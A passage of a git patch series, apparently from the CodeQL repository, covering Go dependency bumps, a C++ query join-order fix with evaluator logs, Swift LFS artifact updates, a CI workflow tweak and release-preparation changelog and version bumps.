+++ b/go/extractor/go.mod @@ -9,8 +9,8 @@ toolchain go1.24.0 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.24.0 - golang.org/x/tools v0.33.0 + golang.org/x/mod v0.25.0 + golang.org/x/tools v0.34.0 ) -require golang.org/x/sync v0.14.0 // indirect +require golang.org/x/sync v0.15.0 // indirect diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 3341c6aa4dd..c6a97825c8a 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -1,8 +1,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= -golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= -golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ= -golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc= -golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI= +golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= +golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= From 86f425d2fc543472f4b76db46ce73f50e496e8e7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 07:13:26 +0200 Subject: [PATCH 32/36] C++: Fix join-order problem after stats file update Before the fix: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@f2995ebb was evaluated in 5 iterations totaling 168745ms (delta sizes total: 12583). 85855 ~0% {2} r1 = SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333369 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 266264 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16379 ~21% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.2, Lhs.1, Rhs.1 13117819221 ~0% {4} r3 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Rhs.2 10477 ~3% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 2 OUTPUT Lhs.0, Lhs.3, Lhs.2 13117819221 ~1% {4} r4 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2, Rhs.2 13022632157 ~1% {5} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Lhs.0, Lhs.3 3720 ~70% {3} | JOIN WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus` ON FIRST 2 OUTPUT Lhs.3, Lhs.4, Lhs.2 115767 ~6% {2} r5 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333367 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333367 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r6 = JOIN r5 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r5 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = r6 UNION r7 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 14197 ~18% {3} r9 = r3 UNION r4 UNION r8 12615 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r9 ``` After: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@13dead04 was evaluated in 5 iterations totaling 68ms (delta sizes total: 12551). 85855 ~0% {2} r1 = SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 265872 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16399 ~27% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Rhs.2 10489 ~1% {3} r3 = JOIN r2 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 1558 ~80% {3} r4 = JOIN r2 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2 2196 ~7% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 12685 ~3% {3} r5 = r3 UNION r4 12581 ~3% {3} | JOIN WITH `Call::Call.getArgument/1#dispred#ada436ba` ON FIRST 2 OUTPUT Lhs.0, Rhs.2, Lhs.2 115767 ~6% {2} r6 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333443 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r6 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = JOIN r6 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r9 = r7 UNION r8 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 12581 ~3% {3} r10 = r5 UNION r9 12576 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r10 ``` --- cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8575a431042..85b779903eb 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) { e.(FunctionCall).getTarget() = f or e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f ) and - access = f.getParameter(arg).getAnAccess() and - e.(FunctionCall).getArgument(arg) = released and + access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and + e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and exprReleases(_, pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind) ) From 1f7a6ba5385341038ddb8354bd9470e04700c546 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 11:18:21 +0200 Subject: [PATCH 33/36] Swift: Update LFS --- swift/third_party/load.bzl | 4 ---- swift/third_party/resources/resource-dir-linux.zip | 4 ++-- swift/third_party/resources/resource-dir-macos.zip | 4 ++-- swift/third_party/resources/swift-prebuilt-linux.tar.zst | 4 ++-- swift/third_party/resources/swift-prebuilt-macos.tar.zst | 4 ++-- 5 files changed, 8 insertions(+), 12 deletions(-) diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index a61e1ebd289..d19345a1880 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,10 +5,6 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main - "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", - "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", - "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", - "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index e09b73863e5..251b0ca7fb6 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657 -size 293644020 +oid sha256:f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511 +size 291469999 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index aaacc64a9e8..678fb09a8b7 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d -size 595760699 +oid sha256:9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42 +size 593013753 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 206ea6adb4d..6efea347586 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5 -size 124428345 +oid sha256:abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4 +size 124406561 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index bcbc7aaf412..ca29f3ebd3f 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9 -size 104357336 +oid sha256:417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152 +size 104344626 From 9f60335b66759ed9a23e28412ea3d4235dde7c54 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:47:46 -0700 Subject: [PATCH 34/36] CI: Expand list of packs/languages for change note validation --- .github/workflows/validate-change-notes.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml index 3c83ffa709a..42784b661fc 100644 --- a/.github/workflows/validate-change-notes.yml +++ b/.github/workflows/validate-change-notes.yml @@ -31,4 +31,4 @@ jobs: - name: Fail if there are any errors with existing change notes run: | - codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental + codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental From 88ba02edf8b08d8862cd4b960866db8d6cf3871a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jun 2025 18:14:51 +0000 Subject: [PATCH 35/36] Release preparation for version 2.22.0 --- actions/ql/lib/CHANGELOG.md | 4 ++++ actions/ql/lib/change-notes/released/0.4.11.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 4 ++++ actions/ql/src/change-notes/released/0.6.3.md | 3 +++ actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-05-28-using-template.md => released/5.1.0.md} | 7 ++++--- cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 4 ++++ cpp/ql/src/change-notes/released/1.4.2.md | 3 +++ cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../Solorigate/lib/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../Solorigate/src/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 4 ++++ csharp/ql/lib/change-notes/released/5.1.8.md | 3 +++ csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 4 ++++ csharp/ql/src/change-notes/released/1.2.2.md | 3 +++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ go/ql/consistency-queries/change-notes/released/1.0.25.md | 3 +++ go/ql/consistency-queries/codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 6 ++++++ .../4.2.7.md} | 7 ++++--- go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 ++++++ .../1.3.0.md} | 7 ++++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 4 ++++ java/ql/lib/change-notes/released/7.3.1.md | 3 +++ java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 4 ++++ java/ql/src/change-notes/released/1.5.2.md | 3 +++ java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 ++++++ .../2.6.5.md} | 7 ++++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 4 ++++ javascript/ql/src/change-notes/released/1.6.2.md | 3 +++ javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ misc/suite-helpers/change-notes/released/1.0.25.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 4 ++++ python/ql/lib/change-notes/released/4.0.9.md | 3 +++ python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 ++++++ .../{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} | 7 ++++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 4 ++++ ruby/ql/lib/change-notes/released/4.1.8.md | 3 +++ ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 4 ++++ ruby/ql/src/change-notes/released/1.3.2.md | 3 +++ ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.10.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.10.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ shared/controlflow/change-notes/released/2.0.9.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ shared/dataflow/change-notes/released/2.0.9.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.25.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.3.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ shared/rangeanalysis/change-notes/released/1.0.25.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.25.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 4 ++++ shared/ssa/change-notes/released/2.0.1.md | 3 +++ shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ shared/threat-models/change-notes/released/1.0.25.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ shared/tutorial/change-notes/released/1.0.25.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ shared/typeflow/change-notes/released/1.0.25.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ shared/typeinference/change-notes/released/0.0.6.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ shared/typetracking/change-notes/released/2.0.9.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.25.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.12.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.25.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.25.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-06-05-swift.6.1.2.md => released/5.0.1.md} | 7 ++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 4 ++++ swift/ql/src/change-notes/released/1.1.5.md | 3 +++ swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 160 files changed, 378 insertions(+), 98 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.11.md create mode 100644 actions/ql/src/change-notes/released/0.6.3.md rename cpp/ql/lib/change-notes/{2025-05-28-using-template.md => released/5.1.0.md} (82%) create mode 100644 cpp/ql/src/change-notes/released/1.4.2.md create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md create mode 100644 csharp/ql/lib/change-notes/released/5.1.8.md create mode 100644 csharp/ql/src/change-notes/released/1.2.2.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.25.md rename go/ql/lib/change-notes/{2025-05-22-bigquery-client-query-sql-injection.md => released/4.2.7.md} (72%) rename go/ql/src/change-notes/{2025-05-01-html-template-escaping-bypass-xss.md => released/1.3.0.md} (93%) create mode 100644 java/ql/lib/change-notes/released/7.3.1.md create mode 100644 java/ql/src/change-notes/released/1.5.2.md rename javascript/ql/lib/change-notes/{2025-05-30-url-package-taint-step.md => released/2.6.5.md} (74%) create mode 100644 javascript/ql/src/change-notes/released/1.6.2.md create mode 100644 misc/suite-helpers/change-notes/released/1.0.25.md create mode 100644 python/ql/lib/change-notes/released/4.0.9.md rename python/ql/src/change-notes/{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} (58%) create mode 100644 ruby/ql/lib/change-notes/released/4.1.8.md create mode 100644 ruby/ql/src/change-notes/released/1.3.2.md create mode 100644 rust/ql/lib/change-notes/released/0.1.10.md create mode 100644 rust/ql/src/change-notes/released/0.1.10.md create mode 100644 shared/controlflow/change-notes/released/2.0.9.md create mode 100644 shared/dataflow/change-notes/released/2.0.9.md create mode 100644 shared/mad/change-notes/released/1.0.25.md create mode 100644 shared/quantum/change-notes/released/0.0.3.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.25.md create mode 100644 shared/regex/change-notes/released/1.0.25.md create mode 100644 shared/ssa/change-notes/released/2.0.1.md create mode 100644 shared/threat-models/change-notes/released/1.0.25.md create mode 100644 shared/tutorial/change-notes/released/1.0.25.md create mode 100644 shared/typeflow/change-notes/released/1.0.25.md create mode 100644 shared/typeinference/change-notes/released/0.0.6.md create mode 100644 shared/typetracking/change-notes/released/2.0.9.md create mode 100644 shared/typos/change-notes/released/1.0.25.md create mode 100644 shared/util/change-notes/released/2.0.12.md create mode 100644 shared/xml/change-notes/released/1.0.25.md create mode 100644 shared/yaml/change-notes/released/1.0.25.md rename swift/ql/lib/change-notes/{2025-06-05-swift.6.1.2.md => released/5.0.1.md} (50%) create mode 100644 swift/ql/src/change-notes/released/1.1.5.md diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 466440c3e33..53bf9173713 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.11 + +No user-facing changes. + ## 0.4.10 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md new file mode 100644 index 00000000000..d29b796a245 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.11.md @@ -0,0 +1,3 @@ +## 0.4.11 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index e0c0d3e4c2a..80a4283b3e4 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.10 +lastReleaseVersion: 0.4.11 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 7a7de08379b..5919efe3b67 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.11-dev +version: 0.4.11 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 687df395d28..3140211bc4a 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.6.3 + +No user-facing changes. + ## 0.6.2 ### Minor Analysis Improvements diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md new file mode 100644 index 00000000000..83374bcef56 --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.3.md @@ -0,0 +1,3 @@ +## 0.6.3 + +No user-facing changes. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 5501a2a1cc5..b7dafe32c5d 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.2 +lastReleaseVersion: 0.6.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 3d1ae2cb47f..9e45e764ede 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.3-dev +version: 0.6.3 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 67339c22ef0..c46ab004464 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. + ## 5.0.0 ### Breaking Changes diff --git a/cpp/ql/lib/change-notes/2025-05-28-using-template.md b/cpp/ql/lib/change-notes/released/5.1.0.md similarity index 82% rename from 